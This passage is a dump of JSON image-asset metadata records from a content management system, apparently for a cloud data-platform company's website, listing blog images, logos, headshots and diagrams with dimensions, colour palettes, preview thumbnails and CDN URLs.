(1).png","path":"images/sczeoy4w/production/d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343.png","sha1hash":"d8c2c332fc130185ddcd23a9db19888529982e0a","size":32782,"uploadId":"YFPeyfNOjADP4V8oNGXE19ZaQmSdWQyI","url":"https://cdn.sanity.io/images/sczeoy4w/production/d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343.png"} {"_createdAt":"2022-10-26T06:14:23Z","_id":"image-d8fafe7d5b1fe4dd0db95ba438d357b299bda050-1567x844-png","_rev":"ekhq2FUysTeCYyFMjnyI7j","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T06:22:00Z","altText":"We demo a real-time data analytics pipeline with a public transport twist","assetId":"d8fafe7d5b1fe4dd0db95ba438d357b299bda050","description":"Blog header image for the analytics pipeline demo article.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACnklEQVQokXWSO0xTcRTG7+KkUaO7g6Mxbk7MRk2ciKvGRYFEBk1aHkGtioBCbLG8RGlLQRENQdBolJCCtDxsoYABESjQlpY+bl/3tpdCgJ9pEUNMHL6c888/+Z2T73yCGEvjDybwrcUJhGQCYRl/UMIfSBAIJ4kmNpFSO38lKyDLaZLBXyiuPpS5PlI/B0kt2kmuLiKseMM4JmaxjTpxTMzgcM4yZp9mZGyScecsbm+YuLyVBUnJbaLxDUSfh5jjNan311lvuYjScA6lJRelMx9h2RNizPEDy+Ao1pHxLGjI5sDybfc971olmtjIgry+CPMLK8xN2lnoe4nbeIVI5Wnk0mPIRYdIFB9BCEcVPL4IrpUAGXhmoyV3ENfyGkvuEP6QzFpIwjk1h2VgCKvVxqCln0/dnXxpq2XKcBuf/hJixRni904g7HmTSG5nJaV2a0bx5A5iYouJ6QWMpnYMBiNdXV3o9XqKS0rQaDS80NfwvqmcoecqfhpuImRN/o8kBQKRNH2WYXS6Z5hMRsytJkpLisnPy0OlUlFV9Zi6Oj2G5kY6DA0I0r+QfRfN/Hn9Mbp7PqHV6njVbqazw0xjvQ6dtpp6fS3tba186O2lp6eXVx1vEOT9gH+UGTC/6KWuvomCggLulJWiramg+lEZlRo1T588oPN1KwOWfmy2YWxDVgQ5niYWlgmLmcxt/AXtVdfKGiZzB2qVmru3blBdmEv51RyqruVgfFhA/8d32MfsOIeHWbJ+QJBFGdEn4vdFCEWV7DH2A8XYOnMLXkZH7Hx/W8vU/Ryc+YeZKTyOR3ue8Ocalr+amTFrCDZcRpClTeLxdDZnmQDv3zDb//FSkjdJzljYbL7ATskBKBLg3lG2a04hVZ8lWHaSpPogvwF3Ut+uD9v6fQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f5549","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c03c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7305","foreground":"#fff","population":7.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccaf","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edca43","foreground":"#000","population":0.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5eac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7305","foreground":"#fff","population":7.62,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Build_real-time_analytics_pipeline_blog.png","path":"images/sczeoy4w/production/d8fafe7d5b1fe4dd0db95ba438d357b299bda050-1567x844.png","sha1hash":"d8fafe7d5b1fe4dd0db95ba438d357b299bda050","size":326940,"title":"Build a real-time analytics pipeline","uploadId":"CnSgX00M1kVFiE1BEUI3HkiiH5au8xMs","url":"https://cdn.sanity.io/images/sczeoy4w/production/d8fafe7d5b1fe4dd0db95ba438d357b299bda050-1567x844.png"} {"_createdAt":"2022-06-16T22:53:49Z","_id":"image-d90e807ae137f38782e5ad635cfc9b4111769614-76x38-svg","_rev":"qkpX9b3U0TpOGFQp8fNwwu","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:49Z","assetId":"d90e807ae137f38782e5ad635cfc9b4111769614","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M46bGiog8wWEGK9EWAHqoxbb?bogPEWExB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":38,"width":76},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACC0lEQVQokYWS60tUURTFz5CPstSkh/RQTMYmKgicUasPSlRQ4+Sd7l1rnXvvwDwwy7RoRk3pUw9GQiJBon+gFHqA/Ytx5o74JejAggWb/dvr7HOMaR+IhpZmfl3On4RYgLgN6Res9lsSf0PcgTgHcSAIQgPLpJc8QB0C2+qCOA3pHcXGbFRhrrb+zGk2KocU30D6CPEOxW5aGf4H6NItQPoU0p86vfx1pKv+7YXT4NLOqGXghn2BuERxoAW0/wamWgXpDKRXsPoQw7tk1v4MddZ3mx313aZZ3R+KURyD1RbE1xTPJkClABwmC6zbm1LtaQ74ElZvYxRHzcrP4c769/dOqcaP4RZQ2oS4cgCEAyYMYywDU/XzZnluJtmF2Nd6EKuoBG/QrO6f6qjv2Y7GnpyPUTwHqUyxSLHf9Sx5M6Ya5FssQ6Hb0j9uGfSQOALxKMRRSBlLv3+8ttE7sriVdpqorvWF9HshDVM8T+kYhU4rv8cxHMv41mYfxrXbs1FlMrA2Q/EyxBsQxyFeo5ihkKOQpXgV4kgyVCcopgNrr+fjyqRj+DbMGS8sVbO1jfBWpc7HNiIFH9I9iHchPoA4BfG++yZtP31wAwmFoo10s9IIsrX1yAtL86YQlZ9ceL6NsYVm0QvjshRUIBEiIOaRpJpop74C8VFSky8G8VxYitJPN72Li59ZiMqLfwFyLuSWrWHyiwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474c3c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047ca2","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0474ad","foreground":"#fff","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#036495","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dd1fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626067","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0474ad","foreground":"#fff","population":0.76,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"motum.svg","path":"images/sczeoy4w/production/d90e807ae137f38782e5ad635cfc9b4111769614-76x38.svg","sha1hash":"d90e807ae137f38782e5ad635cfc9b4111769614","size":3034,"uploadId":"lC5BKSSjM4x9azF0XgozTBYJuVsZ6YNJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/d90e807ae137f38782e5ad635cfc9b4111769614-76x38.svg"} {"_createdAt":"2024-03-04T12:56:27Z","_id":"image-d91b1f5255f43d3325172012cabdda24de0d539f-400x400-jpg","_rev":"l09zfllA91kWryrBqaaFdn","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T12:56:27Z","assetId":"d91b1f5255f43d3325172012cabdda24de0d539f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZI5i9nms*S~J7?wt3WBR*ofcbX8jur?r?%%WAoMxut7tRt7WWWAWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMFBgL/xAApEAACAQQBAQYHAAAAAAAAAAABAgMABAUREiEGBxQxYXETFiJBUVJi/8QAGAEAAgMAAAAAAAAAAAAAAAAAAwUAAQT/xAAhEQABAwEJAAAAAAAAAAAAAAAAAQIDBBETFCMyQVFSof/aAAwDAQACEQMRAD8A3A7b3F3CZLaztwsZ+syy8QR/PrUJ7wsa6qfDTBvvvWh67rKZS6tMXgkSKV2EjEMQAT71YYTGYLKYpJLe5kMoHF+Wh1/GqG2aqRpb4YEa1eS++dI5OttaGWP9lbYpVTBi/Cp8O3nt1j3vRNKBiqrt4hLmLZpmcFjYL/szBLcmRmA8uXTzqPEYyFr3IKrSokLKVVH0D70pTGqXLUHHqOMk7QXRSJiq63qlKUpNNqn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#583d30","foreground":"#fff","population":2.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a5610","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8e8a63","foreground":"#fff","population":5.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2c7b0","foreground":"#000","population":5.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e8a63","foreground":"#fff","population":5.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c39535","foreground":"#000","population":0.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"PFP_KYOTO - David Tippett.jpg","path":"images/sczeoy4w/production/d91b1f5255f43d3325172012cabdda24de0d539f-400x400.jpg","sha1hash":"d91b1f5255f43d3325172012cabdda24de0d539f","size":37224,"uploadId":"vLsp5312LtYyj5e1ERP4RlifsXGtBAHP","url":"https://cdn.sanity.io/images/sczeoy4w/production/d91b1f5255f43d3325172012cabdda24de0d539f-400x400.jpg"} {"_createdAt":"2023-06-14T10:50:06Z","_id":"image-d939a6d7e950c5020ea416bff9f5caaea4cd0a7b-891x1200-jpg","_rev":"LlMsTfwmVHcho3tE13mnSt","_type":"sanity.imageAsset","_updatedAt":"2023-06-14T10:50:06Z","assetId":"d939a6d7e950c5020ea416bff9f5caaea4cd0a7b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dkLz:YWX.T%2V?ozx]oJo~s:MwNGbvn%oLWXtRofV@R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7425,"height":1200,"width":891},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAqEAACAQMDAgMJAAAAAAAAAAABAgMABAUGESEHMRRBYQgSExUWQlFScf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAHBEAAwADAAMAAAAAAAAAAAAAAAECAwQRIUFR/9oADAMBAAIRAxEAPwC66zaxuNEaYgmxsIa8u5Pgxuw4T1rn2mLrXng4s78+jvrdnUy2r/qTyBVt7QOMhyGjbW5lnVPCThwjffv5VLdNLGDImKOCAi2MinZJDwR3J9KLYyXNpSVa2KLhujsrQCQI5GxZQxH9FFap3VZNh2A2oq7yQkdqbFfUeLVJFNzHsSIt9gaU9NMFNp3IXccVtLDCEBZZeeT+DTvRMrvhrYsxJK1TN3Y+fu0VQqpV8GVuU5Xsw3N1vKTRSW7kYXEgDHvRS9B4f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c271f","foreground":"#fff","population":3.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#533224","foreground":"#fff","population":3.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7e503e","foreground":"#fff","population":6.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc3d4","foreground":"#000","population":1.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9b292","foreground":"#000","population":3.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e503e","foreground":"#fff","population":6.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b87d60","foreground":"#fff","population":4.41,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ben-gamble.jpg","path":"images/sczeoy4w/production/d939a6d7e950c5020ea416bff9f5caaea4cd0a7b-891x1200.jpg","sha1hash":"d939a6d7e950c5020ea416bff9f5caaea4cd0a7b","size":150208,"uploadId":"qbzht06whcLlWkE9s7MFK0dgCVf2o2au","url":"https://cdn.sanity.io/images/sczeoy4w/production/d939a6d7e950c5020ea416bff9f5caaea4cd0a7b-891x1200.jpg"} {"_createdAt":"2022-06-15T20:02:47Z","_id":"image-d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345-png","_rev":"QRl2cGoCgj0FlAhkRriSSO","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:46Z","assetId":"d96781cd048514f0d82e6292d8b45eb9e61ead94","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6k-*x]IUt7jF?wxuM{ozWBo#oej]j]jY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.855072463768116,"height":345,"width":640},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACoElEQVQokUWS61MSYRTGF5dFI5nQEEXzzt5BBUWStByrD9lVBcRlF1gE7WJNTk1NF7Wyi1bTv/xrdmmmD78575wz87zPnPMIPXNPieReEFl4Tjh7QDjzhMjcHv3ZPQbm94nPtxmYbdBv2sRmGsQyLS5l9glnnhJMP0Yw2gh66z9D114yc/+I7KMTZh4ck934RPreR8z19+Q2TyiUPnN144i59TcsPnjHcumEhY1jtPUPxAqHiGabgNpAVOuISh1hYvk510vH3K6esmadctP5QaHyjfmtL6xUz7jt/uaW+4sV6zur9hl323+40/pDYecHY2tvCaX3CahNujxRxUEYz++xdP8Nq8UPLG+8Z2nzI7lHR2QfHnGt8pVV55wV+5z89jfypVNWnTNu1n9ytfyV0RuvCaX2CGhNujTXdyn06RbD2QZXci0SC20GF9rEc4+J55+RWD5k+MZrBldeMVB4yUD+gMTSASOFAwYXnxBJN5Fkm2CySlC2EWUbITS9TWi60hkoNR/Pfpe+i2i0kMwWkrGLZDQJaXV6VJsLisWFZIXwdJmLU0W/hpMVemQLQZQdPLqUui8U0Fz/Wp5YJF0nlraIp3eIp3YYNCsM6WUSWolhtciIssWIUiShlBlSLeKagyDJVUJJi5Bs+S5FX7SJZLhcTlcZnS0zPltmbGabiVSRSXOTSWOLSaPEpO5RZly3GDNqjJouQjRZJq5ViJlVerWOeND7RHXo1av0mRbRlE005dBn2vTrFv1eX7f/4RDV60QNl6juIsTlImMpi5GMyyWzRndyB8kTVWqImktQaxBU60iK8x+15veCXlS0po/3lrwchuUKvapFWK8R0joB7eyyiaC3CWi7/o6943VPleie2kZKVhH/Hc+b+7FROsH+Cxl4cKVzAAboAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2e5b","foreground":"#fff","population":0.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b7d0","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0d8ef","foreground":"#000","population":0.26,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a5725b","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4d57","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345.png","path":"images/sczeoy4w/production/d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345.png","sha1hash":"d96781cd048514f0d82e6292d8b45eb9e61ead94","size":60979,"uploadId":"HhECBCfjQTrLSeAjtX3jXGAJIaAeRxGJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345.png"} {"_createdAt":"2023-01-12T09:24:00Z","_id":"image-d9cd3dff4c6b53af0b1da342198fe9f3b8d979c2-1200x630-jpg","_rev":"Z39vf97kTT8utJKfKaJwAD","_type":"sanity.imageAsset","_updatedAt":"2023-01-12T09:24:00Z","assetId":"d9cd3dff4c6b53af0b1da342198fe9f3b8d979c2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCAwQI/8QAIxAAAgICAQIHAAAAAAAAAAAAAQIDBAARBSExEhMjNEFhkf/EABUBAQEAAAAAAAAAAAAAAAAAAAIB/8QAGhEAAwEAAwAAAAAAAAAAAAAAAQIRAAMSMf/aAAwDAQACEQMRAD8A6VeqWZj58w38A9sT8/La49ImqWPUdtbmO1GNYPeP1P7k7taGzGFnjV1B2AcvIpZYDMkbo1Iup4W1Nb4+OWyqrKejeHsfsYZrhjSKNUjUKo7AYYgGA9xZgxJk3//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3d3d","foreground":"#fff","population":1.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803f04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b3d3d","foreground":"#fff","population":1.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbdaa","foreground":"#000","population":0.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46e","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46050","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77e11","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-event-streaming-meta-preview.jpg","path":"images/sczeoy4w/production/d9cd3dff4c6b53af0b1da342198fe9f3b8d979c2-1200x630.jpg","sha1hash":"d9cd3dff4c6b53af0b1da342198fe9f3b8d979c2","size":269541,"uploadId":"L38gUMLrtryV8izfWLvmZHf9Bi8hdUWM","url":"https://cdn.sanity.io/images/sczeoy4w/production/d9cd3dff4c6b53af0b1da342198fe9f3b8d979c2-1200x630.jpg"} {"_createdAt":"2024-07-17T15:15:56Z","_id":"image-ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541-png","_rev":"lESIXfhUM7GwGlQ32d0bHn","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T15:15:56Z","assetId":"ffb454d1a54de839781fb952f0d6eef8ecedf028","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMEoNcnm9@kWI,KnfkwajcRg0}bavwaf$J[RjGK8bbbFd.e;s.k9J;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1609344581440624,"height":1541,"width":1789},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAACE4AAAhOAFFljFgAAAFaUlEQVQ4jRXPaVATZwCA4c+iIuJFpfVA0Cke9dYi2kIdHBUviuHczSYhm2t3s9kkQIAYwpHESCoQDrFWW8s1jk5bsSLWimeDhiMJCSAeEBUSUSQJYDtjx7HWbMcf799n5gVMkQ3AWA+ARfbpTFF3EIw/mAbjzjkw9nAZjD1akC56PFVW8BKA2TRIx4amw9jAAhh/tBjGnTOZWG8gE+ueycTsATDWBz5YIE1CA4hwB8D4ozkwdj8UwpzBsPhZMEIOh7IlrnmS/JeB+urJaRrj5DQsd3QGm3KHIKQrBMLdwRDm/BjGBhbB+ONgSDw+hSUyASDM8QCIeD4NJlxzmeLh+Qj5bLYk3zMjT++dfajEO6+w1BNSVDYW+qHCUm+IqsQ7T6HzzkIzR2fBxLPFEO5eCuEjIRAxGlBcNgoATdOATT0PIFVjQVnFnrnKI96Q4nJfqK7St6i43BMmVz9ayiburMggzctzNE/DtRW+MG2Fb6HyiHeBWDUWJlC8XJQhG50D4SMB51poAD7sHK6amKmrGA/VVvgitEbfco3Ru1Jj9EVqjb5wQaY1Ykfiuc93Jf+yklLdD9dVTkRoyr3Li8u9q4rKfCuKynwRRWW++dqKiSB99eRUkG94sUH97Ys1xWVj63RGzyZ9pWeTodq3xlDl/SxPOxSRxLq2MnZnQ/T23WeiIEFbZIFhJMJwzBdpOOZbq6/0btJVeDcWlY2tzTe8WP3BATma4WyZejBRedi9WVP5ar2ydGIzrnZFJwu64rZ/cwnaHlerSoitOrEvtuZYzI7GrB2M35PSMdvXkgL3FlXpxCaNcWJdjmYoWq52puTqXCTILHxSw5X1sBioeb0QbY5SIN9DZHJVQcKeU3XRcQ1tcbtqh1j7jr9K33NiImZH/eC2nY3Xk5NqT8r4P+UqxGcZPFHrxmRee5Qgs0+g0AwdBWTeg8YM1m/q3J0S8em9CSUXGfFXmpISnOX70VdEvPpf9sEamsesp7lIA42knqQppuFtDZk33qwi719UYk2nxOIiOWIQc0XXi2X5g98BLNPRQaT/0HV8b2p/R+K6lyNI5JtxbqT/CbyKvsXYSp9Ogfw6JMev56v8dVLSf6eQSbsqU+nxE0nv3caDr01qaKQcP9SHC5vuiPP6mwGl7D8vQX+26ZNzPb8mJb61wl/6n7BW025kCe1ihfoHBeH+Xmq9vzdrs39AucE/XBztHz66h3aWp9MdetR/NjfzjZasfkFJr5nk6oHjIEfzdLdY3pmNCy9fyEYbHmpZRz2VaZLXZ6CEd3f56/2uzHD6r4Il9KQ6jHZmLqNviGP9tYTgrVGq/1sj/fG5nDzfLZberJcpe4XKw+6tAMG7oziSHilP3neBL+/p5pGdVh6/xSLjnhowCAp8Z4iMN9ek+//7gzrwrg7j/6Pla8ckvPp+IXHDLJDZzDyZ4y5X2lvHpXo5CN69CqTyOvYwMasOpeytPMrRxSbtJg5pv4FStrsiymyTS1p6DhF1D5XixgdSyVWHkOqwciU2E0fiuIZSjja+zNGFUvbLLMKqSuN3xIAU1LwQEnZuQXBLOlPUpWCKLCczyO7bKOXo4VK97Tz5vSuYor9ZmHWvmSvta0WlvRaUcjjYhK2VKeqqYeGWbDZhhRCs64tUnvkTgMqcICru9JS9aa2BDI5pASzsjGUTVjELtxxBMMtJgcx+SZLX1ynK6jGzCWsTglmOs3CrlimyoKm89igG2xR6AL4eGLv33BSRwg0Ai+gDJTXvwZqvLgMAaMDg3ApI4ZqCkzhtYemC9ni+zFaKKxy3+TL7VQSzFKTyzDHJGaZPGZw/g5I4Nz/ats8Gtsa3grMtNOCQ/eB/YdOoox9iltMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18105f","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86908","foreground":"#fff","population":5.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#172681","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#808fe8","foreground":"#fff","population":2.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#51599e","foreground":"#fff","population":1.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86908","foreground":"#fff","population":5.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-platform-marketecture-light-theme.png","path":"images/sczeoy4w/production/ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541.png","sha1hash":"ffb454d1a54de839781fb952f0d6eef8ecedf028","size":1254241,"uploadId":"v4ulXDnO4rSnVkjcBxFBTYjiMBarDjDc","url":"https://cdn.sanity.io/images/sczeoy4w/production/ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541.png"} {"_createdAt":"2024-04-17T14:59:54Z","_id":"image-2a19d53617dc1580f17f207a2aa15e085668aa4f-801x341-png","_rev":"K1w697WALr3R6LR2giIJGv","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T15:02:04Z","altText":null,"assetId":"2a19d53617dc1580f17f207a2aa15e085668aa4f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGRfkB-;Io_4S3?HV[oeWCof~q%1WBnht7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3489736070381233,"height":341,"width":801},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkklEQVQokV2S4Y6qMBCFef/n2t+76+IqihQUEGzLCoq0KPjdtN5sbm6Tk0k60zNneiZ4Pp/8i3mauY8jo7XcreUx3pmnyefcmeeZcRzp+562bWmaxqPtWq7XK4ExBgfrCO537DCgq4pCCMpU0NQ1ozG/hC66OvfmcrmgG011OlKrCvUjCaRUSKXQuvEdrl1HkSSs39+JPj4ohaDvOk8wDK/GwzBwu918vdKKNBds04g4iwjSouY7LXFRO/lKcRCC6OuLbRhSZinqdCIvSrJ97pu7EbXWHnVdkYotmyhks14QRLnkLSpZHSTNuaXRmixNWYYh0WpFmedIKUmzA3GSUp8kSimOxyNVVVEfSw7xFrH8IgkXBIU6ExWaXLX0f8fI0ozF5yfL5ZKyKLl0F85tR/Nzpu9fNU6lIz7VNftEsPteEy9XzhTLzViMc/TxwBqLrGqSbYzYJaiTxBrjc49pYpom/4/OZWeKVJpEHIg2wiP4f23cAzMMXLrOKzOD8Xe/azXPr22w1sMpF/uCzW5PLHL+AAfZWs6/D9ljAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#233444","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#32658e","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9bbbd","foreground":"#000","population":4.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bbbd","foreground":"#000","population":4.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fd2ee","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5783a3","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64b8f4","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"pg2ch-cdc.png","path":"images/sczeoy4w/production/2a19d53617dc1580f17f207a2aa15e085668aa4f-801x341.png","sha1hash":"2a19d53617dc1580f17f207a2aa15e085668aa4f","size":177108,"title":"PostgreSQL to ClickHouse Analytics Diagram","uploadId":"bH8P119Nf8NzeTZN1c5WmqUALVSbdymV","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a19d53617dc1580f17f207a2aa15e085668aa4f-801x341.png"} 